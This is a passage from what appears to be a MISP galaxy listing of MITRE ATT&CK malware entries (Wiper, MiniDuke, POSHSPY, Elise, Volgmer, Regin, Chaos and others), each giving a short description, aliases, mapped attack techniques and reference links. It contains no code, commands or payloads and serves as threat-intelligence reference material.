uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1487" with estimative-language:likelihood-probability="almost-certain"

Table 3128. Table References
Links
https://attack.mitre.org/software/S0140
http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/
https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/
https://www.symantec.com/connect/blogs/shamoon-attacks
https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html

Wiper - S0041

[Wiper](https://attack.mitre.org/software/S0041) is a family of destructive malware used in March 2013 during breaches of South Korean banks and media companies. (Citation: Dell Wiper)

The tag is: misp-galaxy:mitre-malware="Wiper - S0041"

Wiper - S0041 is also known as:

Wiper

Wiper - S0041 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Third-party Software - T1072" with estimative-language:likelihood-probability="almost-certain"

Table 3129. Table References
Links
https://attack.mitre.org/software/S0041
http://www.secureworks.com/cyber-threat-intelligence/threats/wiper-malware-analysis-attacking-korean-financial-sector/

MiniDuke - S0051

[MiniDuke](https://attack.mitre.org/software/S0051) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. The [MiniDuke](https://attack.mitre.org/software/S0051) toolset consists of multiple downloader and backdoor components. The loader has been used with other [MiniDuke](https://attack.mitre.org/software/S0051) components as well as in conjunction with [CosmicDuke](https://attack.mitre.org/software/S0050) and [PinchDuke](https://attack.mitre.org/software/S0048). (Citation: F-Secure The Dukes)

The tag is: misp-galaxy:mitre-malware="MiniDuke - S0051"

MiniDuke - S0051 is also known as:

MiniDuke

MiniDuke - S0051 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 3130. Table References
Links
https://attack.mitre.org/software/S0051
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

POSHSPY - S0150

[POSHSPY](https://attack.mitre.org/software/S0150) is a backdoor that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors. (Citation: FireEye POSHSPY April 2017)

The tag is: misp-galaxy:mitre-malware="POSHSPY - S0150"

POSHSPY - S0150 is also known as:

POSHSPY

POSHSPY - S0150 has relationships with:

similar: misp-galaxy:malpedia="POSHSPY" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1483" with estimative-language:likelihood-probability="almost-certain"

Table 3131. Table References
Links
https://attack.mitre.org/software/S0150
https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html

Ixeshe - S0015

[Ixeshe](https://attack.mitre.org/software/S0015) is a malware family that has been used since at least 2009 against targets in East Asia. (Citation: Moran 2013)

The tag is: misp-galaxy:mitre-malware="Ixeshe - S0015"

Ixeshe - S0015 is also known as:

Ixeshe

Ixeshe - S0015 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 3132. Table References
Links
https://attack.mitre.org/software/S0015
https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html

HDoor - S0061

[HDoor](https://attack.mitre.org/software/S0061) is malware that has been customized and used by the [Naikon](https://attack.mitre.org/groups/G0019) group. (Citation: Baumgartner Naikon 2015)

The tag is: misp-galaxy:mitre-malware="HDoor - S0061"

HDoor - S0061 is also known as:

HDoor
Custom HDoor

HDoor - S0061 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"

Table 3133. Table References
Links
https://attack.mitre.org/software/S0061
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf

BISCUIT - S0017

[BISCUIT](https://attack.mitre.org/software/S0017) is a backdoor that has been used by [APT1](https://attack.mitre.org/groups/G0006) since as early as 2007. (Citation: Mandiant APT1)

The tag is: misp-galaxy:mitre-malware="BISCUIT - S0017"

BISCUIT - S0017 is also known as:

BISCUIT

BISCUIT - S0017 has relationships with:

similar: misp-galaxy:tool="BISCUIT" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"

Table 3134. Table References
Links
https://attack.mitre.org/software/S0017
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip

Helminth - S0170

[Helminth](https://attack.mitre.org/software/S0170) is a backdoor that has at least two variants - one written in VBScript and PowerShell that is delivered via a macros in Excel spreadsheets, and one that is a standalone Windows executable. (Citation: Palo Alto OilRig May 2016)

The tag is: misp-galaxy:mitre-malware="Helminth - S0170"

Helminth - S0170 is also known as:

Helminth

Helminth - S0170 has relationships with:

similar: misp-galaxy:malpedia="Helminth" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"

Table 3135. Table References
Links
https://attack.mitre.org/software/S0170
http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/

hcdLoader - S0071

[hcdLoader](https://attack.mitre.org/software/S0071) is a remote access tool (RAT) that has been used by [APT18](https://attack.mitre.org/groups/G0026). (Citation: Dell Lateral Movement)

The tag is: misp-galaxy:mitre-malware="hcdLoader - S0071"

hcdLoader - S0071 is also known as:

hcdLoader

hcdLoader - S0071 has relationships with:

similar: misp-galaxy:rat="hcdLoader" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 3136. Table References
Links
https://attack.mitre.org/software/S0071
http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/

Elise - S0081

[Elise](https://attack.mitre.org/software/S0081) is a custom backdoor Trojan that appears to be used exclusively by [Lotus Blossom](https://attack.mitre.org/groups/G0030). It is part of a larger group of tools referred to as LStudio, ST Group, and APT0LSTU. (Citation: Lotus Blossom Jun 2015)(Citation: Accenture Dragonfish Jan 2018)

The tag is: misp-galaxy:mitre-malware="Elise - S0081"

Elise - S0081 is also known as:

Elise
BKDR_ESILE
Page

Elise - S0081 has relationships with:

similar: misp-galaxy:tool="Elise Backdoor" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Elise" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"

Table 3137. Table References
Links
https://attack.mitre.org/software/S0081
https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html
https://www.accenture.com/t20180127T003755Z_w_/us-en/acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf[https://www.accenture.com/t20180127T003755Z_w/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf]

Sykipot - S0018

[Sykipot](https://attack.mitre.org/software/S0018) is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of [Sykipot](https://attack.mitre.org/software/S0018) hijacks smart cards on victims. (Citation: Alienvault Sykipot DOD Smart Cards) The group using this malware has also been referred to as Sykipot. (Citation: Blasco 2013)

The tag is: misp-galaxy:mitre-malware="Sykipot - S0018"

Sykipot - S0018 is also known as:

Sykipot

Sykipot - S0018 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Multilayer Encryption - T1079" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Two-Factor Authentication Interception - T1111" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

Table 3138. Table References
Links
https://attack.mitre.org/software/S0018
http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments
https://www.alienvault.com/open-threat-exchange/blog/sykipot-variant-hijacks-dod-and-windows-smart-cards

Volgmer - S0180

[Volgmer](https://attack.mitre.org/software/S0180) is a backdoor Trojan designed to provide covert access to a compromised system. It has been used since at least 2013 to target the government, financial, automotive, and media industries. Its primary delivery mechanism is suspected to be spearphishing. (Citation: US-CERT Volgmer Nov 2017)

The tag is: misp-galaxy:mitre-malware="Volgmer - S0180"

Volgmer - S0180 is also known as:

Volgmer

Volgmer - S0180 has relationships with:

similar: misp-galaxy:tool="Volgmer" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Volgmer" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Execution through API - T1106" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Existing Service - T1031" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 3139. Table References
Links
https://attack.mitre.org/software/S0180
https://www.us-cert.gov/ncas/alerts/TA17-318B
https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF
https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2

Epic - S0091

[Epic](https://attack.mitre.org/software/S0091) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Kaspersky Turla)

The tag is: misp-galaxy:mitre-malware="Epic - S0091"

Epic - S0091 is also known as:

Epic
Tavdig
Wipbot
WorldCupSec
TadjMakhal

Epic - S0091 has relationships with:

similar: misp-galaxy:tool="Wipbot" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Wipbot" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Extra Window Memory Injection - T1181" with estimative-language:likelihood-probability="almost-certain"

Table 3140. Table References
Links
https://attack.mitre.org/software/S0091
https://securelist.com/the-epic-turla-operation/65545/

Regin - S0019

[Regin](https://attack.mitre.org/software/S0019) is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some [Regin](https://attack.mitre.org/software/S0019) timestamps date back to 2003. (Citation: Kaspersky Regin)

The tag is: misp-galaxy:mitre-malware="Regin - S0019"

Regin - S0019 is also known as:

Regin

Regin - S0019 has relationships with:

similar: misp-galaxy:tool="Regin" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Regin" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"

Table 3141. Table References
Links
https://attack.mitre.org/software/S0019
https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf

Chaos - S0220

[Chaos](https://attack.mitre.org/software/S0220) is Linux malware that compromises systems by brute force attacks against SSH services. Once installed, it provides a reverse shell to its controllers, triggered by unsolicited packets. (Citation: Chaos Stolen Backdoor)

The tag is: misp-galaxy:mitre-malware="Chaos - S0220"

Chaos - S0220 is also known as:

Chaos

Chaos - S0220 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Port Knocking - T1205" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"

Table 3142. Table References
Links
https://attack.mitre.org/software/S0220
http://gosecure.net/2018/02/14/chaos-stolen-backdoor-rising/

Uroburos - S0022

[Uroburos](https://attack.mitre.org/software/S0022) is a rootkit used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Kaspersky Turla)

The tag is: misp-galaxy:mitre-malware="Uroburos - S0022"

Uroburos - S0022 is also known as:

Uroburos

Uroburos - S0022 has relationships with:

similar: misp-galaxy:tool="Turla" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Uroburos (Windows)" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"

Table 3143. Table References
Links
https://attack.mitre.org/software/S0022
https://securelist.com/the-epic-turla-operation/65545/

adbupd - S0202

[adbupd](https://attack.mitre.org/software/S0202) is a backdoor used by [PLATINUM](https://attack.mitre.org/groups/G0068) that is similar to [Dipsind](https://attack.mitre.org/software/S0200). (Citation: Microsoft PLATINUM April 2016)

The tag is: misp-galaxy:mitre-malware="adbupd - S0202"

adbupd - S0202 is also known as:

adbupd

adbupd - S0202 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1084" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"

Table 3144. Table References
Links
https://attack.mitre.org/software/S0202
https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf

CHOPSTICK - S0023

